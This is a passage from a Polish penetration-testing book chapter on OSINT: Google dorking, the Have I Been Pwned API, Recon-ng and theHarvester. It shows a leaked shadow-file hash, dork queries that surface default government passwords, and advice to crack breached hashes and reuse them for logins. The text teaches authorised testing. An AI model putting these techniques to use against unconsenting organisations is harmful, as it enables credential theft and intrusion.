fhsbCkhs3QH/:17826:0:99999:7:::daemon:*:17826:0:99999:7:::
bin:*:17826:0:99999:7:::
sys:*:17826:0:99999:7:::
sync:*:17826:0:99999:7:::
games:*:17826:0:99999:7:::
mail:*:17826:0:99999:7:::
news:*:17826:0:99999:7:::
www-data:*:17826:0:99999:7:::
backup:*:17826:0:99999:7:::
admin:$6$vu//Vnxn$ae9tWkR4I7KepsfSy6Zg7jmXvFXLMqdt9AyzMFVI8a0cdUMZM3hMm
c7l.:17826:0:99999:7:::

Później będziemy dokładniej analizować uprawnienia do plików oraz zapisane hasła (a raczej
ich skróty), dlatego nie obawiaj się, jeżeli jeszcze nie do końca rozumiesz zapisy widoczne w po-
wyższym wydruku! Nie trzeba chyba wyjaśniać, jak fatalnie byłoby, gdyby jakaś wielka organizacja,
na przykład pakistańska komisja Higher Education Commission, publicznie udostępniała hasła
użytkowników, pozwalając na dostęp do nich za pośrednictwem Google, tak jak na rysunku 4.1.

Podatność widoczna na rysunku 4.1 została już załatana (mamy taką na-
dzieję). Mimo to w tym miejscu musimy podać poważne ostrzeżenie. Jeżeli ktoś kliknął ten
link i pobrał plik z hasłami, to może mieć poważne problemy prawne! Jak widać, nawet bez
klikania linku można poznać dane kilku użytkowników systemu.

3681988c430c7fe1e8567c4e2f281f7b
3
92 Rozdział 4  Zbieranie danych z otwartych źródeł

Rysunek 4.1. Technika Google dorking pozwala uzyskać dane z pakistańskiej komisji wyższej edukacji

Ogólna zasada mówi, że nie należy losowo poszukiwać podatnych witryn i klikać linki z uzy-
skanych wyników, ponieważ takie działania często są uznawane za próby nielegalnego dostępu do
komputera. I nie ma tu znaczenia to, jak kuszące są te możliwości, ani jak bezmyślne były osoby,
które popełniły taki błąd. W takiej sytuacji należy raczej skontaktować się z daną organizacją i po-
informować ją (najlepiej za pomocą e-maila zaszyfrowanego za pomocą OpenPGP) o zaistniałej
sytuacji. Poszukiwanie i wykrywanie takich podatności jest całkowicie zgodne z prawem, ale jeżeli
nie masz pisemnego pozwolenia i autoryzacji na dostęp do znalezionych w ten sposób zasobów, to
próba ich otwarcia z pewnością będzie traktowana jak przestępstwo.
Poniżej przedstawiamy wyszukiwanie zwracające pliki .doc (można je zmienić tak, żeby szukało
plików .txt lub .pdf) znajdujące się w adresach URL zawierających słowo gov, a sam plik (dokument)
będzie zawierał tekst default password:
filetype:doc inurl:gov intext:"default password"

Możemy zakładać, że uruchomione przez Ciebie zapytanie zadziała równie skutecznie jak u nas.
W ten sposób przekonasz się, jak łatwo można zbudować sobie listę domyślnych haseł używanych
przez różne agencje rządowe. I to bez klikania nawet jednego linka.
Oto krótki wycinek z pierwszej strony wyników, jakie uzyskaliśmy za pomocą tego zapytania
uruchomionego na potrzeby naszej książki:
 „The default password is 39pL4q” (domyślne hasło to 39pL4q).
 „The default login is master; the default password is master” (domyślny login to master;
domyślne hasło to master).
 „The default password is changeme” (domyślne hasło to zmienmnie).

3681988c430c7fe1e8567c4e2f281f7b
3
Baza danych zapytań Google 93

 „Your default Password is 0 + Your Extension and # sign. Password can be 4–16...”
(domyślne hasło to 0 + numer wewnętrzny + znak #. Hasło może mieć 4 – 16…).
 „The default password is 123456” (domyślne hasło to 123456).

Baza danych zapytań Google

Jak dotąd pokazaliśmy kilka typowych zapytań z kategorii Google dork, ale istnieje też cała
baza danych specjalizowanych zapytań, którą można znaleźć pod adresem www.exploit-db.com/
google-hacking-database.
Ideą zapytań Google dork jest wyszukiwanie wrażliwych informacji udostępnionych niechcący
w sposób umożliwiający odszukanie ich za pomocą prostych zapytań Google. Jeżeli w ten sposób
ujawniony został plik passwd, to całkiem możliwe, że w podobny sposób ujawnione zostały też inne
istotne pliki. Nawet jeżeli nie masz dostępu do plików passwd lub shadow, to drobna zmiana w zapy-
taniu może spowodować wyświetlenie innych wrażliwych informacji, na przykład plików konfigu-
racyjnych albo protokołów instalacji.

W wynikach wyszukiwania możesz natknąć się na ważne pliki należące do

Twojego klienta. Musisz wcześniej uzyskać pisemne pozwolenie, jeżeli chcesz od razu po-
brać lub otworzyć te pliki. Bierz też pod uwagę sytuacje, w których omyłkowo uzyskasz do-
stęp do plików nienależących do Twojego klienta, tylko do innej organizacji o zbliżonej na-
zwie. Z tego powodu przed skorzystaniem z jakichkolwiek wyszukanych linków zawsze
sprawdzaj, czy są one zgodne z Twoimi oczekiwaniami.
Przeglądanie zawartości bazy danych GHDB (Google Hacking Database) może dać Ci pewne
pojęcie o dostępnych narzędziach. Każde z zapytań poszukuje pewnych szczególnych informacji,
dlatego w bazie danych prawdopodobnie znajdziesz zapytanie odpowiednie dla Twoich aktual-
nych potrzeb.
Kolejnym przykładem zapytania może być inurl:"q=user/password", które ma za zadanie
wyszukiwanie serwerów Drupal (popularnego systemu zarządzania treściami). Atakujący może
wykorzystać takie zapytanie, aby wyszukać, gdzie są zainstalowane podatne frameworki sieciowe,
w których nie uwzględniono poprawek bezpieczeństwa. To pozwoli mu wykorzystać znane podat-
ności, aby włamać się do tych systemów. Podczas testowania infrastruktury klienta musimy zatem
odpowiednio dostosować zapytania, aby skupić się na ważnych dla nas informacjach.
Pamiętaj, żeby poszukiwać informacji w kilku różnych wyszukiwarkach, a nawet rozszerzyć po-
szukiwania poza sieć WWW. Najlepsze informacje, jakie zdobywaliśmy na temat naszych klientów,
pochodziły z często pomijanych źródeł, takich jak publiczne biblioteki. Gdy zastanawiamy się nad
fizycznymi zabezpieczeniami (to temat wykraczający poza ramy tej książki), możemy natknąć się
na różne schematy istniejących firmowych budynków. Dobrze jest też przejrzeć takie źródła da-
nych jak urzędy regulacji telekomunikacji oraz inne urzędy, które mogą przechowywać publiczne
dane opisujące działalność wybranej firmy. Pamiętaj, że Twoim zadaniem jest wyszukanie jak naj-
większej ilości informacji na temat firmy klienta, które mogłyby przydać Ci się podczas ataku na
jej infrastrukturę.

3681988c430c7fe1e8567c4e2f281f7b
3
94 Rozdział 4  Zbieranie danych z otwartych źródeł

Czy już mnie przejęli?

„Przejęcie” jest słowem ze słownika hakerów i graczy. Haker, który uzyskał dostęp do haseł i innych
informacji atakowanej organizacji, może powiedzieć, że „przejął” swój cel, ponieważ ma już kon-
trolę nad informacjami lub systemami należącymi do tej organizacji. Zazwyczaj oznacza to, że ktoś
całkowicie kontroluje wybrany system, a w środowisku graczy — że ktoś całkowicie zniszczył swo-
jego przeciwnika.
Jeżeli ktoś jeszcze nie odwiedził strony haveibeenpwned.com, to powinien to szybko zrobić.
Serwis Have I Been Pwned (czy już mnie przejęli) jest prowadzony przez Troya Hunta i pozwala
użytkownikom sprawdzić, czy ich dane uwierzytelniające stosowane w różnych serwisach interne-
towych znalazły się wśród zbiorów danych kiedykolwiek wykradzionych z różnych serwerów.
Hakerzy regularnie włamują się do serwisów internetowych, witryn WWW, sieci społecznościowych
oraz innych organizacji, a uzyskane w ten sposób informacje są udostępniane w sieci. Czasami
osoby odpowiedzialne za takie włamanie sprzedają po prostu te informacje, a czasami udostępniają
je publicznie. Sieć WWW działa w ten dziwny sposób, że takie wrażliwe informacje bardzo szybko
się rozprzestrzeniają. W sieci (najczęściej w sieciach p2p) można znaleźć ogromne pliki tekstowe
zawierające tysiące, a nawet miliony nazw użytkowników i skróty ich haseł. Serwis HIBP zbiera te
dostępne informacje i umożliwia ludziom sprawdzanie, czy ich dane uwierzytelniające znajdują się
w którejkolwiek z tych kolekcji. Jeżeli na stronie HIBP wpiszesz swój często używany adres e-mail,
to dowiesz się, czy ten adres (i być może inne powiązane z nim informacje) znajduje się w jednej
z wielu baz danych pochodzących z różnych włamań do takich serwisów jak Dropbox, LinkedIn
lub Adobe. Jeżeli okaże się, że Twój adres występuje w jednej z tych baz danych, to najlepiej zmień
swoje hasło w tych serwisach, w których było ono używane w połączeniu z adresem e-mail. W tej
sytuacji musisz zakładać, że Twoja nazwa użytkownika w różnych serwisach i związane z nią hasło
znajduje się rękach wielu osób o bardzo złych zamiarach.
Jako hakerzy możemy używać serwisu HIBP, żeby sprawdzić, czy dane którejkolwiek z osób
pracujących dla naszej organizacji znalazły się w publicznie dostępnych zbiorach danych. Co
więcej, możemy wykorzystać API tego serwisu, żeby całkowicie zautomatyzować ten proces. Aby
użyć API HIBP, trzeba najpierw uzyskać klucz dostępu. O szczegółach przeczytasz na stronie
https://haveibeenpwned.com/API/Key. Po uzyskaniu tego klucza możemy zacząć stosować takie
polecenia jak poniższe:
curl -H "hibp-api-key: <klucz_API>" https://haveibeenpwned.com/api/v3/breachedaccount/ <adres_e-mail>

Jeżeli zauważysz, że adresy osoba_a@przyklad.pl i osoba_xyz@przyklad.pl znajdują się wśród

publicznie dostępnych danych, takich jak te pochodzące z wycieku z LinkedIn z 2016 roku (w tym
przypadku wyciekło ponad 117 milionów nazw użytkowników i skrótów ich haseł), to możesz uzy-
skać kopię rzeczonych danych i znaleźć w nich informacje o tych adresach. Możesz nawet spróbo-
wać złamać skróty haseł powiązanych z tymi adresami e-mail.
Ostatnim elementem układanki, nad którą pracuje atakujący, jest informacja, że wszyscy jeste-
śmy tylko ludźmi, a ludzie bardzo lubią używać tego samego hasła w wielu różnych miejscach.
To właśnie dlatego naszym zadaniem jest promowanie lepszych praktyk zabezpieczania danych.
Oznacza to, że (w trakcie aktywnej fazy ataku) możemy wykorzystać uzyskany wcześniej adres
e-mail oraz związane z nim hasło, żeby spróbować zalogować się do atakowanych systemów. Mimo
że dopiero zaczęliśmy nasze testy, możemy mieć już w ręku klucz do sieci atakowanej firmy.

3681988c430c7fe1e8567c4e2f281f7b
3
Framework Recon-ng 95

W firmie Hacker House widzieliśmy to wielokrotnie. Często w ten sposób ujawniane były dane
kont, na które nikt nie zwracał uwagi, na przykład konta helpdesk lub biuro, które nadal stosowały
domyślne hasła, takie jak helpdesk lub biuro. Hasła to najlepsi przyjaciele hakera. Znalezienie hasła
można porównać do znalezienia klucza do ukrytych drzwi, przy czym ten klucz może otwierać
wiele różnych drzwi!
Niestety serwis HIBP w swoim API stosuje ograniczenie częstości przesyłania żądań, aby unie-
możliwić nadużycia. Jeżeli narzędzia cURL (to program działający w wierszu poleceń, którego uży-
cie pokazaliśmy już wcześniej) użyjemy w pętli w prostym skrypcie, to musimy wprowadzić kilka
sekund opóźnienia między kolejnymi żądaniami. W ten sposób na pewno uda się odczytać infor-
macje o wielu użytkownikach i sprawdzić, czy ich dane znajdują się w publicznie dostępnych zbio-
rach. Następnie można wykorzystać program Grep (narzędzie do wyszukiwania wzorców), aby
w uzyskanej odpowiedzi znaleźć interesujące informacje. Nie martw się, jeżeli nie znasz jeszcze
takich narzędzi jak cURL lub Grep, ponieważ w kolejnych rozdziałach będziemy z nich częściej
korzystać. Co więcej, pobieranie i przeszukiwanie baz danych to ćwiczenie, które dobrze byłoby
wykonywać w wolnym czasie. Na stronach HIBP znajdziesz poradniki korzystania z API tego ser-
wisu, dlatego zachęcamy do ich przeczytania i przejrzenia dostępnych przykładów.
W związku z ogromnymi ilościami danych, jakie wyciekły w ciągu ostatniej dekady, bardzo
możliwe jest, że poszukując informacji o wielu pracownikach wielkiej organizacji, znajdziesz bar-
dzo przydatne dane na temat niejednej z tych osób.

Framework Recon-ng
Poznaliśmy już kilka samodzielnych narzędzi i skryptów, które mogą dostarczać nam wartościo-
wych informacji, ale praca z nimi szybko staje się żmudna i kłopotliwa, jeżeli musimy obsłużyć
wiele żądań i spore ilości danych. Podczas zbierania informacji trzeba wykonywać wiele różnych
zadań, z których część jest powtarzalna, a uzyskane dane trzeba odpowiednio zorganizować, aby
można było z nich efektywnie korzystać. Na szczęście ktoś już wcześniej to zauważył i powstały
metody ułatwiające pracę hakera. Nie chodzi tu o samo pisanie skryptów o określonym przezna-
czeniu, ale o przygotowywania rozbudowanych frameworków dla hakerów. Jednym z lepszych na-
rzędzi ułatwiających prowadzenie działań OSINT jest Recon-ng, który jest rozwijany przez hakera
ukrywającego się pod pseudonimem LaNMaSteR53. Framework Recon-ng (https://github.com/
lanmaster53/recon-ng) jest rozwiązaniem modułowym, które daje nam dostęp do wielu różnych
funkcji za pośrednictwem przyjaznego użytkownikom interfejsu wiersza poleceń. Pozwala on na
tworzenie przestrzeni roboczych (ang. workspaces) ułatwiających segregowanie wyników pochodzą-
cych z poszczególnych funkcji lub modułów. Wszystkie zebrane informacje zapisywane są w bazie
danych SQLite, dzięki czemu są one łatwo dostępne, możliwe jest ich eksportowanie i używanie
w innych narzędziach.
Frameworka Recon-ng można używać do przeglądania różnych użytecznych informacji, a sto-
sowane w nim polecenia są podobne do tych znanych z frameworku Metasploit. Ten ostatni bę-
dziemy dokładniej poznawać w kolejnych rozdziałach. Nauczenie się skutecznej obsługi tak rozbu-
dowanego narzędzia nie jest proste, co więcej, przygotowanie do pracy wszystkich modułów Recon-ng
wymaga ręcznych modyfikacji plików konfiguracyjnych. A jeżeli Recon-ng ma się komunikować
z różnymi witrynami i serwisami sieciowymi, to musisz uzyskać odpowiednie klucze API i zainsta-
lować je w swoim frameworku.

3681988c430c7fe1e8567c4e2f281f7b
3
96 Rozdział 4  Zbieranie danych z otwartych źródeł

Oczywiście framework pozwala na wykonanie wielu prac również bez stosowania kluczy API,
dlatego pracę z nim możemy zacząć już teraz. Framework Recon-ng jest domyślnie instalowany w sys-
temie Kali Linux, dlatego jego uruchomienie wymaga jedynie wprowadzenia poniższego polecenia:
recon-ng

Przy pierwszym uruchomieniu na ekranie możesz zobaczyć różne groźnie wyglądające komu-
nikaty, takie jak poniższy:
[!] 'shodan_api' key not set. shodan_hostname module will likely fail at
runtime. See 'keys add'.

W ten sposób framework informuje nas, że nie skonfigurowaliśmy jeszcze żadnych kluczy API
dla poszczególnych serwisów, z których chcielibyśmy uzyskiwać dane. Jeżeli chcesz na poważnie
korzystać z tego narzędzia, to zalecamy odpowiednie skonfigurowanie frameworku Recon-ng do
pracy z różnymi API. Oczywiście taką konfigurację można też przeprowadzić później. W naszych
przykładach nie będziemy korzystać z żadnych API.
Poznawanie nowego narzędzia najlepiej jest rozpocząć od lektury dokumentów pomocy lub
stron podręcznika man. W wierszu poleceń można wpisać znak zapytania (?) lub słowo help, aby
uzyskać listę dostępnych poleceń. Początkowo wiersz poleceń programu Recon-ng wygląda tak jak
poniżej:
[recon-ng][default] >

Możesz też wpisać ? <polecenie>, aby poznać sposób użycia wybranego polecenia. Na przykład
wpisanie polecenia ? workspace spowoduje wypisanie poniższych informacji:
Manages workspaces
Usage: workspaces <create|delete|list|select> [...]

Utwórzmy zatem przestrzeń roboczą o nazwie hackerhouse:

workspaces create hackerhouse

Od teraz używamy tej przestrzeni roboczej, a wszystkie zebrane informacje będą w niej zapisy-
wane. Zauważ, że wiersz polecenia programu Recon-ng zmienił się i teraz pojawiła się w nim nazwa
aktywnej przestrzeni roboczej. Za pomocą poniższego polecenia możesz zainstalować wszystkie
moduły:
marketplace install all

Za pomocą polecenia modules load uzupełnionego o nazwę modułu można wybrać moduły do
załadowania. W niektórych przypadkach może być konieczne podanie ścieżki do danego modułu.
Po wybraniu modułu można użyć polecenia info, aby przejrzeć szczegółowe informacje na jego
temat. Aby przejrzeć wszystkie dostępne moduły frameworku Recon-ng, użyj polecenia modules
search, a zobaczysz listę podobną do poniższej:
Discovery
---------
discovery/info_disclosure/cache_snoop
discovery/info_disclosure/interesting_files

Exploitation
------------
exploitation/injection/command_injector

3681988c430c7fe1e8567c4e2f281f7b
3
Framework Recon-ng 97

exploitation/injection/xpath_bruter

Import
------
import/csv_file
import/list

Recon
-----
recon/companies-contacts/bing_linkedin_cache
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase_contact
recon/companies-contacts/jigsaw/search_contacts
recon/companies-multi/github_miner
recon/companies-multi/whois_miner
recon/contacts-contacts/mailtester
recon/contacts-contacts/mangle
recon/contacts-contacts/unmangle
recon/contacts-credentials/hibp_breach
recon/contacts-credentials/hibp_paste
recon/contacts-domains/migrate_contacts
recon/contacts-profiles/fullcontact
recon/credentials-credentials/adobe
recon/credentials-credentials/bozocrack
recon/credentials-credentials/hashes_org
recon/domains-contacts/metacrawler
recon/domains-contacts/pgp_search
recon/domains-contacts/whois_pocs
recon/domains-credentials/pwnedlist/account_creds
recon/domains-credentials/pwnedlist/api_usage
recon/domains-credentials/pwnedlist/domain_creds
recon/domains-credentials/pwnedlist/domain_ispwned
recon/domains-credentials/pwnedlist/leak_lookup
recon/domains-credentials/pwnedlist/leaks_dump
recon/domains-domains/brute_suffix
recon/domains-hosts/bing_domain_api
recon/domains-hosts/bing_domain_web
recon/domains-hosts/brute_hosts
recon/domains-hosts/builtwith
recon/domains-hosts/certificate_transparency
recon/domains-hosts/google_site_api
recon/domains-hosts/google_site_web
recon/domains-hosts/hackertarget
recon/domains-hosts/mx_spf_ip
recon/domains-hosts/netcraft
recon/domains-hosts/shodan_hostname
recon/domains-hosts/ssl_san
recon/domains-hosts/threatcrowd
recon/domains-vulnerabilities/ghdb
recon/domains-vulnerabilities/punkspider
recon/domains-vulnerabilities/xssed
recon/domains-vulnerabilities/xssposed
recon/hosts-domains/migrate_hosts
recon/hosts-hosts/bing_ip
recon/hosts-hosts/freegeoip
recon/hosts-hosts/ipinfodb
recon/hosts-hosts/resolve
recon/hosts-hosts/reverse_resolve

3681988c430c7fe1e8567c4e2f281f7b
3
98 Rozdział 4  Zbieranie danych z otwartych źródeł

recon/hosts-hosts/ssltools
recon/hosts-locations/migrate_hosts
recon/hosts-ports/shodan_ip
recon/locations-locations/geocode
recon/locations-locations/reverse_geocode
recon/locations-pushpins/flickr
recon/locations-pushpins/picasa
recon/locations-pushpins/shodan
recon/locations-pushpins/twitter
recon/locations-pushpins/youtube
recon/netblocks-companies/whois_orgs
recon/netblocks-hosts/reverse_resolve
recon/netblocks-hosts/shodan_net
recon/netblocks-ports/census_2012
recon/netblocks-ports/censysio
recon/ports-hosts/migrate_ports
recon/profiles-contacts/dev_diver
recon/profiles-contacts/github_users
recon/profiles-profiles/namechk
recon/profiles-profiles/profiler
recon/profiles-profiles/twitter_mentioned
recon/profiles-profiles/twitter_mentions
recon/profiles-repositories/github_repos
recon/repositories-profiles/github_commits
recon/repositories-vulnerabilities/gists_search
recon/repositories-vulnerabilities/github_dorks

Reporting
---------
reporting/csv
reporting/html
reporting/json
reporting/list
reporting/proxifier
reporting/pushpin
reporting/xlsx
reporting/xml

Na początek przyjrzyjmy się modułowi profilera, którego można użyć po wpisaniu polecenia
modules load recon/profiles-profiles/profiler. Jak widać, trzeba tutaj podać ścieżkę do modułu
znalezioną na powyższej liście. W tym przypadku wystarczyłoby wpisać modules load profiler,
a Recon-ng byłby w stanie samodzielnie wybrać odpowiedni moduł.
Załaduj zatem ten moduł i wpisz polecenie info:
modules load profiler
info

W ten sposób uzyskasz informacje o załadowanym module. W przypadku modułu profilera na

ekranie zobaczysz poniższy opis:
Name: OSINT HUMINT Profile Collector
Author: Micah Hoffman (@WebBreacher)
Version: 1.0

Description:

3681988c430c7fe1e8567c4e2f281f7b
3
Framework Recon-ng 99

Takes each username from the profiles table and searches a variety of web sites for those
´users. The list of valid sites comes from the parent project at https://github.com/
´WebBreacher/WhatsMyName

Options:
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes source of input (see 'show info' for details)

Source Options:
default SELECT DISTINCT username FROM profiles WHERE username IS NOT NULL
<string> string representing a single input
<path> path to a file containing a list of inputs
query <sql> database query returning one column of inputs

Comments:
* Note: The global timeout option may need to be increased to support slower sites.
* Warning: Using this module behind a filtering proxy may cause false negatives as some of
* these sites may be blocked.

Ten moduł nazywany jest też zbieraczem profili (ang. profile collector). Szuka on w sieci WWW
profili należących do wskazanych osób i pobiera z nich różne informacje, które następnie zapisy-
wane są w bazie danych Recon-ng. Nie przejmuj się, jeżeli nie masz jeszcze doświadczenia w pracy
z bazami danych. W tej książce mamy cały rozdział poświęcony hakowaniu baz danych.
W podanym wyżej wydruku zwróć uwagę na zapisy znajdujące się w sekcji Options. W przy-
padku parametru SOURCE w kolumnie Current Value znajduje się wartość default. Jeżeli teraz
spojrzysz na sekcję Source options, to przekonasz się, że wartość default oznacza zapytanie
w języku SQL.
SELECT DISTINCT username FROM profiles WHERE username IS NOT NULL

To zapytanie zwraca niepowtarzalne nazwy użytkowników pobrane z tabeli profiles znajdującej

się w bazie danych SQLite używanej przez framework Recon-ng. Za pomocą polecenia show
profiles możesz wyświetlić wszystkie dane zapisane aktualnie w tabeli profiles. Jeżeli użyjesz tego
polecenia teraz, to w odpowiedzi uzyskasz tylko komunikat [*] No data returned (nie zwrócono
danych), ponieważ na razie nie zapisaliśmy w tabeli żadnych informacji.
Spróbujmy zatem dodać jakiś profil. W poniższym poleceniu zastąp znacznik <nazwaUzytkownika>
dowolną nazwą użytkownika lub adresem e-mail używanym przez Ciebie w różnych witrynach:
db insert profiles <nazwUzytkownika>

Niestety w efekcie otrzymasz tylko komunikat o błędzie [!] Columns and values length mismatch
(niedopasowanie wielkości kolumn i wartości). Po prostu próbujemy tutaj dodać do bazy danych
nowy rekord, bez określenia właściwej liczby kolumn. W przypadku tej tabeli za nazwą użytkownika
musimy podać cztery kolumny, dlatego spróbujemy jeszcze raz, tym razem używając znaku tyldy
(~), który będzie oznaczał kolejne puste kolumny. Wykorzystamy tutaj nazwę użytkownika hacker-
fantastic, ale równie dobrze możesz użyć nazwy używanej przez siebie lub przez Twoich przyjaciół.
db insert profiles hackerfantastic~~~~

Po dodaniu nowego profilu możesz sprawdzić, czy na pewno istnieje on w bazie danych, uży-
wając do tego poniższego polecenia:
show profiles

3681988c430c7fe1e8567c4e2f281f7b
3
100 Rozdział 4  Zbieranie danych z otwartych źródeł

Tym razem polecenie db insert profiles nie powinno zgłaszać już żadnych błędów, a zatem
polecenie show profiles powinno wyświetlić tabelę podobną do poniższej:
+----------------------------------------------------------------------------+
| rowid | username | resource | url | category | notes | module |
+----------------------------------------------------------------------------+
| 1 | hackerfantastic | | | | | user_defined |
+----------------------------------------------------------------------------+

[*] 1 rows returned

Zauważ, że za kolumną username (nazwa użytkownika) znajdują się cztery kolumny bez żad-
nych wartości. W tabeli znajdują się też kolejne dwie kolumny (rowid i module), które program
automatycznie wypełnił danymi. Dzięki temu, że używamy domyślnej wartości opcji SOURCE,
Recon-ng pobierze wszystkie nazwy użytkowników zapisane w tabeli i wyszuka w sieci profile pa-
sujące do każdej z tych nazw. Przed uruchomieniem tego modułu możemy zatem wprowadzić tutaj
nazwy użytkowników wielu interesujących nas osób. Równie dobrze sprawdzają się też adresy
e-mail, dlatego można wpisać do tabeli wszystkie znalezione adresy e-mail związane z badaną przez
nas firmą (oczywiście można też wpisać wyłącznie wstępną część adresu, ignorując znak @ oraz
nazwę domeny). Uruchomiony moduł pobierze poszczególne nazwy użytkowników i użyje ich do
przeszukiwania publicznie dostępnych źródeł i sprawdzenia, czy istnieją w nich profile z takimi
nazwami. Pamiętaj, że bez wprowadzenia pełnej konfiguracji frameworku Recon-ng liczba prze-
szukiwanych witryn nie będzie zbyt duża. Jeżeli wszystko zostało już przygotowane, możesz wpro-
wadzić polecenie run.
Działający moduł będzie wypisywał na ekranie komunikaty o sprawdzaniu kolejnych źródeł
danych i testowaniu, czy zawierają one konta pasujące do podanej nazwy użytkownika. Po zakoń-
czeniu pracy modułu możesz ponownie wpisać polecenie show profiles, aby sprawdzić, jakie
informacje zostały dodane do tabeli (rysunek 4.2).

Rysunek 4.2. Wyniki działania OSINT za pomocą narzędzia Recon-ng

Na podstawie listy witryn odwiedzanych przez daną osobę można się o niej wiele dowiedzieć.
Część wyników wyszukiwania wskazuje na używanie treści dla dorosłych, takich jak witryny doty-
czące rekreacyjnego używania narkotyków albo witryny z treściami pornograficznymi. Zatrważa-
jące może być też to, jak wiele serwisów internetowych wykorzystuje dane użytkowników innych
witryn, aby powiększyć swoją bazę użytkowników, tworząc dla wielu osób konta pytania o pozwo-
lenie na takie działania.

3681988c430c7fe1e8567c4e2f281f7b
3
Jak działa framework Recon-ng? 101

Jak działa framework Recon-ng?

Recon-ng jest bardzo przydatnym narzędziem, ale dobrze jest wiedzieć, gdzie przechowuje groma-
dzone przez siebie dane. Zakładając, że program Recon-ng został uruchomiony w systemie Kali
Linux z uprawnieniami użytkownika root (tego akurat się nie zaleca, ponieważ programy powinny
być uruchamiane jedynie z niezbędnym zbiorem uprawnień), to jego przestrzenie robocze będą
zapisywane w osobnych katalogach umieszczonych w katalogu /root/.recon-ng/workspaces.
Możemy zatem sprawdzić, jakie pliki już teraz znajdują się w tym katalogu:
ls ~/.recon-ng/workspaces/hackerhouse

Powinien być tam dostępny plik data.db, który został utworzony w momencie, gdy Recon-ng
tworzył pierwszą przestrzeń roboczą. Co to za plik? Można to sprawdzić za pomocą polecenia file:
file ~/.recon-ng/workspaces/hackerhouse/data.db
/root/.recon-ng/workspaces/hackerhouse/data.db: SQLite 3.x database, user version 8, last
´written using SQLite version 3021000

W ten sposób dowiedzieliśmy się, że Recon-ng domyślnie przechowuje swoje dane w bazie da-
nych SQLite. W tym przypadku korzystamy też z przestrzeni roboczej o nazwie hackerhouse.
Możemy teraz przejrzeć zawartość tej bazy danych, korzystając z przeglądarki baz danych SQLite
(można ją uruchomić za pomocą polecenia sqlitebrowser) przestawionej na rysunku 4.3.

Rysunek 4.3. Przeglądarka baz danych SQLite

W graficznym interfejsie programu możesz przejrzeć schemat bazy danych i przeanalizować

zapisane w niej informacje. Możliwe jest też eksportowanie tych informacji w celu umieszczenia
ich w raporcie albo przekazania klientowi.

3681988c430c7fe1e8567c4e2f281f7b
3
102 Rozdział 4  Zbieranie danych z otwartych źródeł

Zbieranie danych z sieci WWW

Przyjrzyjmy się teraz innemu skryptowi w języku Python, który również jest domyślnie instalo-
wany w systemie Kali Linux — theHarverster.py. Wprowadzenie polecenia theHarvester bez po-
dania żadnych parametrów spowoduje wypisanie informacji o sposobach używania tego skryptu
oraz krótkiego przykładu. Spróbujmy zatem skorzystać z tego narzędzia, stosując się do podanego
przykładu (z domeną google.com), czyli wybierając Google jako używaną wyszukiwarkę danych.
Jednocześnie liczbę wyników ograniczymy do 50.
theHarvester -d google.com -b google -l 50

Mieliśmy nadzieję, że w ten sposób znajdziemy więcej adresów e-mail, ale i tak uzyskany wynik
jest niezwykle interesujący.
*******************************************************************
* _ _ _ *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* theHarvester 3.2.3 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
* *
*******************************************************************

[*] Target: google.com

[*] Searching Google.

Searching 0 results.

[*] No IPs found.

[*] No emails found.

[*] Hosts found: 13

---------------------
account.google.com:172.217.4.110
accounts.google.com:172.217.4.77
adservice.google.com:172.217.4.34
adssettings.google.com:172.217.4.110
apis.google.com:172.217.4.46
classroom.google.com:216.58.192.142
developer.google.com:172.217.4.110
maps.google.com:172.217.0.14
news.google.com:172.217.4.206
ogs.google.com:172.217.4.110
policies.google.com:216.58.192.142
support.google.com:172.217.4.46
www.google.com:172.217.0.4

Jak widać, skrypt theHarvester.py sprawnie odczytał nazwy hostów z podanej domeny oraz ich
adresy IP. Tworzenie takiej listy hostów jest bardzo ważne, a jak dotąd jeszcze się tym nie zajmo-
waliśmy. W rozdziale 5. „System DNS” dowiesz się, jak można sprawnie przygotować taką listę.

3681988c430c7fe1e8567c4e2f281f7b
3
Metadane dokumentu 103

Metadane dokumentu
Typowa firma lub organizacja z pewnością będzie zmuszona do publikowania różnych dokumen-
tów, udostępniając je swoim udziałowcom lub klientom na swoich stronach WWW. Chodzi tutaj
o różnego rodzaju raporty roczne, kwartalne podsumowania sprzedaży, broszurki, formularze
podań o pracę, podręczniki dla pracowników itp. Bardzo często te dokumenty udostępniane są
w postaci plików PDF, dokumentów Microsoft Word, arkuszy kalkulacyjnych Excel albo zwyczaj-
nych obrazków. Takie dokumenty bardzo często ujawniają też dodatkowe informacje bez wiedzy
ich twórców. Takie informacje ukrywają się w metadanych dokumentów, gdzie można znaleźć na-
zwy użytkowników, adresy e-mail, daty i czas powstania dokumentu. W różnych zdjęciach niemal
zawsze znajdują się informacje EXIF (Exchangeable Image File Format), z których można odczytać
dane na temat aparatu, miniaturki oryginalnego obrazu, współrzędne GPS oraz wiele innych da-
nych. Nawet proste pobieranie zdjęć pracowników z firmowej strony może dać nam sporo przy-
datnych informacji, takich jak miejsce wykonania zdjęcia albo nazwa oprogramowania użytego do
jego obróbki. I nie mówimy tutaj o danych będących właściwą treścią dokumentu. Wielu użytkow-
ników nawet nie wie o istnieniu metadanych. Czasami nie trzeba nawet przeglądać zawartości me-
tadanych, ponieważ sama treść dokumentu niesie wiele przydatnych informacji. W sieci można
znaleźć też podręczniki obsługi oprogramowania, które informują użytkowników, jak należy ko-
rzystać z określonego serwisu. W takich podręcznikach nierzadko pojawiają się nazwy użytkowni-
ków i ich hasła, które trzeba wprowadzić, aby uzyskać dostęp do systemu.

Jeżeli pobierasz dokumenty ze strony WWW swojego klienta, to z pewnością

masz też kontakt z jego siecią. Takie działanie uznawane jest za operację aktywną, a nie
pasywną. Jeżeli jednak te dokumenty były przeznaczone do użytku publicznego, to z ich
pobierania na pewno nie wynikną żadne problemy.

Metagoofil (tools.kali.org/information-gathering/metagoofil) jest narzędziem zaprojektowanym

do pobierania dokumentów i analizowania znajdujących się w nich metadanych. Tego programu
może brakować w domyślnej instalacji systemu Kali Linux, a w takim przypadku trzeba zainstalo-
